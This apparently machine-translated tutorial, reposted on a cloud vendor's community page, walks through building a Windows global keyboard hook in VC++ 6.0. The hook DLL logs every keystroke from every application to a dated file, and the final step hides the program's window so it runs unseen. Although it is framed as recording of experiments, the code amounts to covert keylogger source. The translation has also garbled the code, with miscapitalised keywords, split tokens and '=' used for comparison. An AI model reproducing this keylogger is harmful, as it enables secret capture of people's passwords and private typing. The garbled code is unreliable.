Capture windows keyboard movements with keyboard hooks

Source: Internet
Author: User

Introduction

In scientific research and production, records of R & D and debugging operations are very necessary and valuable. Through the analysis of recorded information, we can accurately analyze the cause of the accident, whether there are mistakes in the operation, and many other important clues after the accident occurs. Generally, the information to be recorded is diverse, such as environmental temperature records, software Operation Records, file access records, and so on. Here we will useKeyboardInformation record is used as an example to describe how to automatically record similar experiment information.

To record all applications in the current systemProgramTherefore, a special technique must be used to obtain the keyboard operation information of the external process (Monitoring Program. This technology is the core of this article-the global hook of the system. This article will introduce the operating mechanism of global hooks on the Win32 platform and provide a specific example program of keyboard hooks that capture keyboard movements written by VC ++ 6.0.

System hooks and DLL

The essence of a hook is a program used to process system messages. It is called by the system and mounted to the system. There are many types of hooks. Each Hook can intercept and process corresponding messages. Each time a specific message is sent, the hook program intercepts the message first to gain control of the message. In this case, you can process the intercepted messages in the hook function, or even forcibly end the message transmission.

In this program, we need to capture keyboard input in any window, which requires a global hook to intercept messages of the entire system, and the global hook function must use DLL (Dynamic Connection Library) for Carrier encapsulation, there are three forms of mfc dll available in vc6, namely regular statically linked to mfc dll (Standard static link mfc dll), regular using the shared mfc dll (Standard Dynamic Link mfc dll) and extension mfc dll (Extended mfc dll ). In this program, the standard static connection mfc dll is used for convenience.

Keyboard hook program example

The global hook function is used in this example. The program consists of the executable program keykook and the dynamic Connection Library launchdll. First, create an MFC Appwizard (DLL) project, and select regular statically linked to mfc dll (Standard static link mfc dll) option to establish the MFC extended dynamic Connection Library launchdll. dll. Then, add the macro definition and the declaration of the function to be exported in the corresponding header file:

# Define dllexport _ declspec (dllexport)
......
Dllexport void winapi installlaunchev ();
......
Class claunchdllapp: Public cwinapp
{
Public:
Claunchdllapp ();
// {Afx_virtual (claunchdllapp)
//} Afx_virtual
// {Afx_msg (claunchdllapp)
// Note-The classwizard will add and remove member functions here.
// Do not edit what you see in these blocks of generated code!
//} Afx_msg
Declare_message_map ()
};


At the same time, add the global variables hook and global functions launcherhook () and savelog () to the implementation file ():

Hhook hook;
Lresult callback launcherhook (INT ncode, wparam, lparam );
Void savelog (char * C );


Finally, complete the specific coding implementation of the functions mentioned above:

Claunchdllapp theapp;
......
Dllexport void winapi installlaunchev ()
{
Hook = (hhook) setwindowshookex (wh_keyboard, (hookproc) launcherhook, theapp. m_hinstance, 0 );
}


Here we have implemented the installation of Windows System hooks. First, we need to call the API function setwindowshookex () in the SDK to install this hook function. Its prototype is:

Hhook setwindowshookex (INT idhook, hookproc lpfn, hinstance hmod, DWORD dwthreadid );


Among them, the first parameter specifies the hook type, commonly used wh_mouse, wh_keyboard, wh_getmessage, etc. Here we only care about keyboard operations, so we set it to wh_keyboard; the second parameter identifies the entry address of the hook function. When the hook hooks any message, the function is called. That is, the launcherhook action is triggered immediately when any keyboard input in the System window is present; the third parameter is the handle of the module where the hook function is located. We can easily set it as the instance handle of this application; the last parameter is the ID of the hook-related function used to specify the thread to which the hook is to hook. If the value is 0, messages of the entire system are intercepted. In this program, the hook must be a global hook, therefore, it is set to 0.

Lresult callback launcherhook (INT ncode, wparam, lparam)
{
Lresult result = callnexthookex (Hook, ncode, wparam, lparam );
If (ncode = hc_action)
{
If (lparam & 0x80000000)
{
Char C [1];
C [0] = wparam;
Savelog (C );
}
}
Return result;
}


Although callnexthookex () is optional, it is recommended to call this function. Otherwise, other apps with hooks installed will not receive hook notifications and may produce incorrect results. Therefore, we should try to call this function unless it is absolutely necessary to prevent other programs from getting notifications.

Void savelog (char * C)
{
Ctime TM = ctime: getcurrenttime ();
Cstring name;
Name. Format ("C: \ key _ % d. log", TM. getmonth (), TM. getday ());
Cfile file;
If (! File. Open (name, cfile: modereadwrite ))
{
File. Open (name, cfile: modecreate | cfile: modereadwrite );
}
File. seektoend ();
File. Write (C, 1 );
File. Close ();
}


When a key pops up, this function is used to save the key that just pops up to the record file to monitor the keyboard. After compilation, you can obtain the dynamic Connection Library of the keyboard hook required for running and the Lib library used for static connections.

The following describes the main program that calls the dynamic Connection Library and implements the final integration. Create a single-document application, copy the required dynamic link library header file and Lib Library to the project directory, and copy the dynamic link library to the DEBUG directory. Then link the dll library: In "project", "Settings... On the "Link" property page of "Object/librarymodules:", enter "launchdll. lib ". Use "project", "add to Project", "files... "Add launchdll. H to the project, and add reference to the source file keyhook. cpp of the video class:

# Include "launchdll. H"


In this way, we can use all the export functions in the dynamic Connection Library launchdll. dll just like using functions in this project. Next, reload the virtual function oninitialupdate () in the class, and addCodeComplete the installation of the keyboard HOOK:

Installlaunchev ();


All functions have been completed so far. However, since this program runs as a background monitoring software, other measures should be taken to hide its program interface. You only need to change m_pmainwnd-> showwindow (sw_show) to m_pmainwnd-> showwindow (sw_hide) in the initinstance () function of the ckeyhookapp class.

Summary

compile and run the program, however, you can use Alt + Ctrl + DEL to find the program "keyhook" that we just compiled in the close program dialog box, enter characters on the keyboard in any program, and then open the record file, we will find that all the characters we just entered are recorded in the record file through the keyboard hook. System Hooks have powerful functions. This technology can intercept, monitor, and process messages in almost all Windows systems. This technology is widely used in various automatic monitoring systems. In Windows 2000 Professional + SP4, the program described in this article is compiled and debugged by Microsoft Visual C ++ 6.0.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.